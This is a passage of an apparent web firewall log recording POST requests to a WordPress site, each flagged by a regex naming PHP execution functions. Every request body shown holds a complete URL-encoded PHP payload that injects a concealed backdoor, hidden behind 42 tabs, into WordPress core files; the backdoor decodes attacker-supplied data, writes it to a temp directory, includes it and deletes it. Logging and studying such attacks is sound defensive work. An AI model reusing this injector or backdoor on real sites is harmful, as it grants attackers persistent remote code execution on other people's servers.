2527%2520%253B%2520for%2528%2524f%253D0%253B%2520%2524f%253Cstrlen%2528%2524data%2529%253B%2520%2524f%252B%252B%2529%257B%2524sym%2520.%253D%2520chr%2528ord%2528%2524data%255B%2524f%255D%2529%2520%255E%252055%2529%253B%257D%2520%2524component%2520%253D%25200%253B%2520do%2520%257B%2520%2524elem%2520%253D%2520%2524pointer%255B%2524component%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524component%2520%253E%253D%2520count%2528%2524pointer%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524elem%2529%2520%2526%2526%2520is_writable%2528%2524elem%2529%2529%2520%257B%2520%2524descriptor%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524elem%252C%2520%2522.dchunk%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524descriptor%252C%2520%2524sym%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524descriptor%253B%2520unlink%2528%2524descriptor%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524component%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-ch-ua-mobile:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:4175\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\nsec-fetch-mode:navigate\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-platform:\"Android\"\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-plugin-upgrader-skin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%257B%2520%2524pointer%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524data%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%253B%2520%2524sym%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524f%253D0%253B%2520%2524f%253Cstrlen%2528%2524data%2529%253B%2520%2524f%252B%252B%2529%257B%2524sym%2520.%253D%2520chr%2528ord%2528%2524data%255B%2524f%255D%2529%2520%255E%252055%2529%253B%257D%2520%2524component%2520%253D%25200%253B%2520do%2520%257B%2520%2524elem%2520%253D%2520%2524pointer%255B%2524component%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524component%2520%253E%253D%2520count%2528%2524pointer%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524elem%2529%2520%2526%2526%2520is_writable%2528%2524elem%2529%2529%2520%257B%2520%2524descriptor%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524elem%252C%2520%2522.dchunk%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524descriptor%252C%2520%2524sym%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524descriptor%253B%2520unlink%2528%2524descriptor%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524component%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 23:54:45","164.52.218.210","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> je:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx66a%255Cx63%2522%255D%2529%2529%257B%2520%2524obj%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2524_POST%255B%2522%255Cx66a%255Cx63%2522%255D%253B%2520%2524descriptor%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524descriptor%2529%2520%253B%2520%2524sym%2520%253D%2520%2527%2527%253B%2520%2524salt1%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt1%2529%253B%2520%2524t%2520%253D%25200%253B%2520foreach%2520%2528%2524descriptor%2520as%2520%2524v6%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2524salt1%255B%2524t%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524t%2520%2525%252010%2529%2529%255E%25208%253B%2520%2524sym%2520.%253D%2520chr%2528%2524d%2529%253B%2520%2524t%252B%252B%253B%2520%257D%2520while%2520%2528%2524ent%2520%253D%2520array_shift%2528%2524obj%2529%2529%2520%257B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524ent%2529%252C%2520is_writable%2528%2524ent%2529%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2522%2524ent\/.rec%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524data_chunk%252C%2520%2524sym%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524data_chunk%253B%2520unlink%2528%2524data_chunk%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnzHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:4359\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Android\"\n\nje=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx66a%255Cx63%2522%255D%2529%2529%257B%2520%2524obj%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2524_POST%255B%2522%255Cx66a%255Cx63%2522%255D%253B%2520%2524descriptor%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524descriptor%2529%2520%253B%2520%2524sym%2520%253D%2520%2527%2527%253B%2520%2524salt1%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt1%2529%253B%2520%2524t%2520%253D%25200%253B%2520foreach%2520%2528%2524descriptor%2520as%2520%2524v6%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2524salt1%255B%2524t%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524t%2520%2525%252010%2529%2529%255E%25208%253B%2520%2524sym%2520.%253D%2520chr%2528%2524d%2529%253B%2520%2524t%252B%252B%253B%2520%257D%2520while%2520%2528%2524ent%2520%253D%2520array_shift%2528%2524obj%2529%2529%2520%257B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524ent%2529%252C%2520is_writable%2528%2524ent%2529%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2522%2524ent\/.rec%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524data_chunk%252C%2520%2524sym%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524data_chunk%253B%2520unlink%2528%2524data_chunk%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:55:02","57.128.189.50","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Rd:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx66a%255Cx63%2522%255D%2529%2529%257B%2520%2524obj%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2524_POST%255B%2522%255Cx66a%255Cx63%2522%255D%253B%2520%2524descriptor%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524descriptor%2529%2520%253B%2520%2524sym%2520%253D%2520%2527%2527%253B%2520%2524salt1%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt1%2529%253B%2520%2524t%2520%253D%25200%253B%2520foreach%2520%2528%2524descriptor%2520as%2520%2524v6%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2524salt1%255B%2524t%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524t%2520%2525%252010%2529%2529%255E%25208%253B%2520%2524sym%2520.%253D%2520chr%2528%2524d%2529%253B%2520%2524t%252B%252B%253B%2520%257D%2520while%2520%2528%2524ent%2520%253D%2520array_shift%2528%2524obj%2529%2529%2520%257B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524ent%2529%252C%2520is_writable%2528%2524ent%2529%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2522%2524ent\/.rec%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524data_chunk%252C%2520%2524sym%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524data_chunk%253B%2520unlink%2528%2524data_chunk%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHzDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4359\n\nRd=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx66a%255Cx63%2522%255D%2529%2529%257B%2520%2524obj%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2524_POST%255B%2522%255Cx66a%255Cx63%2522%255D%253B%2520%2524descriptor%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524descriptor%2529%2520%253B%2520%2524sym%2520%253D%2520%2527%2527%253B%2520%2524salt1%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt1%2529%253B%2520%2524t%2520%253D%25200%253B%2520foreach%2520%2528%2524descriptor%2520as%2520%2524v6%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2524salt1%255B%2524t%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524t%2520%2525%252010%2529%2529%255E%25208%253B%2520%2524sym%2520.%253D%2520chr%2528%2524d%2529%253B%2520%2524t%252B%252B%253B%2520%257D%2520while%2520%2528%2524ent%2520%253D%2520array_shift%2528%2524obj%2529%2529%2520%257B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524ent%2529%252C%2520is_writable%2528%2524ent%2529%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2522%2524ent\/.rec%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524data_chunk%252C%2520%2524sym%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524data_chunk%253B%2520unlink%2528%2524data_chunk%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:55:09","91.142.222.105","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> eU:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx66a%255Cx63%2522%255D%2529%2529%257B%2520%2524obj%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2524_POST%255B%2522%255Cx66a%255Cx63%2522%255D%253B%2520%2524descriptor%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524descriptor%2529%2520%253B%2520%2524sym%2520%253D%2520%2527%2527%253B%2520%2524salt1%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt1%2529%253B%2520%2524t%2520%253D%25200%253B%2520foreach%2520%2528%2524descriptor%2520as%2520%2524v6%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2524salt1%255B%2524t%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524t%2520%2525%252010%2529%2529%255E%25208%253B%2520%2524sym%2520.%253D%2520chr%2528%2524d%2529%253B%2520%2524t%252B%252B%253B%2520%257D%2520while%2520%2528%2524ent%2520%253D%2520array_shift%2528%2524obj%2529%2529%2520%257B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524ent%2529%252C%2520is_writable%2528%2524ent%2529%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2522%2524ent\/.rec%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524data_chunk%252C%2520%2524sym%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524data_chunk%253B%2520unlink%2528%2524data_chunk%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24